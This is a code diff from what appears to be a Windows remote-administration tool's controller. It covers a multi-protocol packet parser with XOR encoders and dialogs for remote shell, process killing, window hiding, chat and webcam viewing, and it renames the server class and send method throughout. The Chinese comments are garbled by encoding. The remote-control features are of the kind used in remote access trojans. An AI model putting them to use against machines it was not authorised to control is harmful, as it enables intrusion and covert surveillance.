memcpy(m_szPacketFlag, p, 10); // ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_nCompareLen = 0;
|
||||
m_nFlagLen = 0;
|
||||
m_nHeaderLen = 14;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new WinOsEncoder();
|
||||
return PR{ PARSER_WINOS };
|
||||
}
|
||||
return PR{ PARSER_FAILED };
|
||||
}
|
||||
if (m_bParsed) { // Check if the header has been parsed.
|
||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||
}
|
||||
// More version may be added in the future.
|
||||
switch (m_nFlagType = flagType)
|
||||
{
|
||||
case FLAG_UNKNOWN:
|
||||
return PR{ PARSER_FAILED };
|
||||
case FLAG_SHINE:
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 5);
|
||||
m_nCompareLen = 5;
|
||||
m_nFlagLen = m_nCompareLen;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new Encoder();
|
||||
break;
|
||||
case FLAG_FUCK:
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = 8;
|
||||
m_nFlagLen = m_nCompareLen + 3;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new XOREncoder();
|
||||
m_Encoder2 = new Encoder();
|
||||
break;
|
||||
case FLAG_HELLO:
|
||||
// This header is only for handling SOCKET_DLLLOADER command
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = 6;
|
||||
m_nFlagLen = 8;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new XOREncoder16();
|
||||
break;
|
||||
case FLAG_HELL:
|
||||
// This version
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = FLAG_COMPLEN;
|
||||
m_nFlagLen = FLAG_LENGTH;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new XOREncoder16();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return PR{ m_nFlagLen };
|
||||
}
|
||||
BOOL IsEncodeHeader() const {
|
||||
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
||||
}
|
||||
HeaderParser& Reset() {
|
||||
SAFE_DELETE(m_Encoder);
|
||||
SAFE_DELETE(m_Encoder2);
|
||||
memset(this, 0, sizeof(HeaderParser));
|
||||
return *this;
|
||||
}
|
||||
BOOL IsParsed() const {
|
||||
return m_bParsed;
|
||||
}
|
||||
int GetFlagLen() const {
|
||||
return m_nFlagLen;
|
||||
}
|
||||
int GetHeaderLen() const {
|
||||
return m_nHeaderLen;
|
||||
}
|
||||
const char* GetFlag() const {
|
||||
return m_szPacketFlag;
|
||||
}
|
||||
FlagType GetFlagType() const {
|
||||
return m_nFlagType;
|
||||
}
|
||||
Encoder* GetEncoder() const {
|
||||
return m_Encoder;
|
||||
}
|
||||
Encoder* GetEncoder2() const {
|
||||
return m_Encoder2;
|
||||
}
|
||||
private:
|
||||
BOOL m_bParsed; // <20><><EFBFBD>ݰ<EFBFBD><DDB0>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>
|
||||
int m_nHeaderLen; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
|
||||
int m_nCompareLen; // <20>ȶ<EFBFBD><C8B6>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
int m_nFlagLen; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
||||
FlagType m_nFlagType; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
||||
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
|
||||
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
|
||||
};
|
||||
|
||||
enum IOType
|
||||
{
|
||||
IOInitialize,
|
||||
IORead,
|
||||
IOWrite,
|
||||
IOIdle
|
||||
};
|
||||
|
||||
#define TRACK_OVERLAPPEDPLUS 0
|
||||
|
||||
class OVERLAPPEDPLUS
|
||||
{
|
||||
public:
|
||||
|
||||
OVERLAPPED m_ol;
|
||||
IOType m_ioType;
|
||||
|
||||
OVERLAPPEDPLUS(IOType ioType)
|
||||
{
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||
m_ioType = ioType;
|
||||
}
|
||||
|
||||
~OVERLAPPEDPLUS()
|
||||
{
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
}
|
||||
};
|
||||
|
||||
typedef struct CONTEXT_OBJECT
|
||||
{
|
||||
CString sClientInfo[ONLINELIST_MAX];
|
||||
CString additonalInfo[RES_MAX];
|
||||
SOCKET sClientSocket;
|
||||
WSABUF wsaInBuf;
|
||||
WSABUF wsaOutBuffer;
|
||||
char szBuffer[PACKET_LENGTH];
|
||||
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer OutCompressedBuffer;
|
||||
HWND hWnd;
|
||||
HANDLE hDlg;
|
||||
OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
|
||||
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
||||
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
|
||||
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
|
||||
|
||||
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||
std::string PeerName; // <20>Զ<EFBFBD>IP
|
||||
int addrLen; // for UDP
|
||||
sockaddr_in clientAddr; // for UDP
|
||||
|
||||
VOID InitMember(SOCKET s)
|
||||
{
|
||||
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
||||
hWnd = NULL;
|
||||
hDlg = NULL;
|
||||
sClientSocket = s;
|
||||
PeerName = ::GetPeerName(sClientSocket);
|
||||
memset(&wsaInBuf, 0, sizeof(WSABUF));
|
||||
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
|
||||
olps = NULL;
|
||||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||||
sClientInfo[i].Empty();
|
||||
}
|
||||
for (int i = 0; i < RES_MAX; i++) {
|
||||
additonalInfo[i].Empty();
|
||||
}
|
||||
CompressMethod = COMPRESS_ZSTD;
|
||||
Parser.Reset();
|
||||
bLogin = FALSE;
|
||||
m_bProxyConnected = FALSE;
|
||||
clientAddr = {};
|
||||
addrLen = sizeof(sockaddr_in);
|
||||
}
|
||||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
|
||||
for (int i = 0; i < ONLINELIST_MAX; i++)
|
||||
{
|
||||
sClientInfo[i] = s[i];
|
||||
}
|
||||
for (int i = 0; i < a.size(); i++) {
|
||||
additonalInfo[i] = a[i].c_str();
|
||||
}
|
||||
}
|
||||
PBYTE GetBuffer(int offset) {
|
||||
return InDeCompressedBuffer.GetBuffer(offset);
|
||||
}
|
||||
ULONG GetBufferLength() {
|
||||
return InDeCompressedBuffer.GetBufferLength();
|
||||
}
|
||||
std::string GetPeerName() const {
|
||||
return PeerName;
|
||||
}
|
||||
CString GetClientData(int index) const {
|
||||
return sClientInfo[index];
|
||||
}
|
||||
void GetAdditionalData(CString(&s)[RES_MAX]) const {
|
||||
for (int i = 0; i < RES_MAX; i++)
|
||||
{
|
||||
s[i] = additonalInfo[i];
|
||||
}
|
||||
}
|
||||
void CancelIO() {
|
||||
SAFE_CANCELIO(sClientSocket);
|
||||
}
|
||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
|
||||
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
|
||||
}
|
||||
BYTE GetBYTE(int offset) {
|
||||
return InDeCompressedBuffer.GetBYTE(offset);
|
||||
}
|
||||
// Write compressed buffer.
|
||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
||||
BYTE szPacketFlag[32] = {};
|
||||
const int flagLen = Parser.GetFlagLen();
|
||||
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
||||
if (Parser.IsEncodeHeader())
|
||||
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
||||
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
||||
}
|
||||
else {
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
||||
}
|
||||
Encode2(data, dataLen, szPacketFlag);
|
||||
OutCompressedBuffer.WriteBuffer(data, dataLen);
|
||||
}
|
||||
}
|
||||
// Read compressed buffer.
|
||||
PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen) {
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = 0;
|
||||
BYTE szPacketFlag[32] = {};
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
|
||||
}
|
||||
else {
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
}
|
||||
dataLen = totalLen - Parser.GetHeaderLen();
|
||||
PBYTE CompressedBuffer = new BYTE[dataLen];
|
||||
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
|
||||
Decode2(CompressedBuffer, dataLen, szPacketFlag);
|
||||
return CompressedBuffer;
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||
PR Parse(CBuffer& buf) {
|
||||
return Parser.Parse(buf, CompressMethod);
|
||||
}
|
||||
// Encode data before compress.
|
||||
void Encode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Encode((unsigned char*)data, len);
|
||||
}
|
||||
// Decode data after uncompress.
|
||||
void Decode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||||
}
|
||||
// Encode data after compress.
|
||||
void Encode2(PBYTE data, int len, PBYTE param) const {
|
||||
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
|
||||
}
|
||||
// Decode data before uncompress.
|
||||
void Decode2(PBYTE data, int len, PBYTE param) const {
|
||||
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
|
||||
}
|
||||
std::string RemoteAddr() const {
|
||||
sockaddr_in ClientAddr = {};
|
||||
int ulClientAddrLen = sizeof(sockaddr_in);
|
||||
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||||
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||||
}
|
||||
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
|
||||
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
|
||||
CString s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += data[idx[i]] + "|";
|
||||
}
|
||||
s.Delete(s.GetLength() - 1);
|
||||
return XXH64(s.GetString(), s.GetLength(), 0);
|
||||
}
|
||||
uint64_t GetID() const { return ID; }
|
||||
void SetID(uint64_t id) { ID = id; }
|
||||
}CONTEXT_OBJECT, * PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
|
||||
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
class Server
|
||||
{
|
||||
public:
|
||||
Server(){}
|
||||
virtual ~Server(){}
|
||||
|
||||
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
|
||||
|
||||
virtual void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||||
|
||||
virtual void UpdateMaxConnection(int maxConn){}
|
||||
|
||||
virtual void Destroy(){}
|
||||
|
||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
||||
};
|
||||
@@ -20,7 +20,7 @@ typedef struct ItemData1
|
||||
}
|
||||
} ItemData1;
|
||||
|
||||
CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
CServicesDlg::CServicesDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
||||
{
|
||||
}
|
||||
@@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart()
|
||||
void CServicesDlg::OnServicesReflash()
|
||||
{
|
||||
BYTE bToken = COMMAND_SERVICELIST; //ˢ<><CBA2>
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
// <20>ͷ<EFBFBD><CDB7><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd)
|
||||
|
||||
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ class CServicesDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CServicesDlg)
|
||||
|
||||
public:
|
||||
CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CServicesDlg();
|
||||
|
||||
int ShowServicesList(void);
|
||||
|
||||
@@ -25,7 +25,7 @@ void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) {
|
||||
|
||||
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
|
||||
|
||||
CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL)
|
||||
{
|
||||
}
|
||||
@@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog()
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
m_Edit.SetWindowTextA(">>");
|
||||
m_nCurSel = m_Edit.GetWindowTextLengthA();
|
||||
@@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
return TRUE;
|
||||
}
|
||||
int length = str.GetLength() - m_nCurSel;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
|
||||
m_iocpServer->Send2Client(m_ContextObject, pSrc, length);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>VK_BACK
|
||||
|
||||
@@ -17,7 +17,7 @@ class CShellDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CShellDlg)
|
||||
|
||||
public:
|
||||
CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
CShellDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
virtual ~CShellDlg();
|
||||
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
@@ -20,7 +20,7 @@ typedef struct ItemData
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||
|
||||
CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
CSystemDlg::CSystemDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
||||
{
|
||||
m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||
@@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill()
|
||||
dwOffset += sizeof(DWORD);
|
||||
}
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6>в<EFBFBD><D0B2><EFBFBD>COMMAND_KILLPROCESS<53><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
|
||||
Sleep(100);
|
||||
@@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh()
|
||||
VOID CSystemDlg::GetProcessList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_PSLIST;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh()
|
||||
void CSystemDlg::GetWindowsList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_WSLIST;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose()
|
||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
@@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
|
||||
DWORD dHow=SW_HIDE; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_NORMAL;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_MAXIMIZE;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin()
|
||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||
DWORD dHow=SW_MINIMIZE;
|
||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ class CSystemDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CSystemDlg)
|
||||
|
||||
public:
|
||||
CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
CSystemDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
virtual ~CSystemDlg();
|
||||
|
||||
VOID GetProcessList(void);
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
IMPLEMENT_DYNAMIC(CTalkDlg, CDialog)
|
||||
|
||||
CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
CTalkDlg::CTalkDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: DialogBase(CTalkDlg::IDD, pParent, IOCPServer, ContextObject, IDR_MAINFRAME)
|
||||
{
|
||||
}
|
||||
@@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog()
|
||||
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
@@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk()
|
||||
|
||||
m_EditTalk.SetWindowText(NULL);
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ class CTalkDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CTalkDlg)
|
||||
|
||||
public:
|
||||
CTalkDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CTalkDlg();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -108,7 +108,7 @@ void CVideoDlg::SaveAvi(void)
|
||||
}
|
||||
|
||||
|
||||
CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
CVideoDlg::CVideoDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA)
|
||||
{
|
||||
m_nCount = 0;
|
||||
@@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog()
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
@@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
|
||||
m_pVideoCodec = NULL;
|
||||
// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||||
}
|
||||
}
|
||||
@@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
|
||||
if (!bIsChecked)
|
||||
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -163,7 +163,7 @@ class CVideoDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CVideoDlg)
|
||||
|
||||
public:
|
||||
CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CVideoDlg();
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
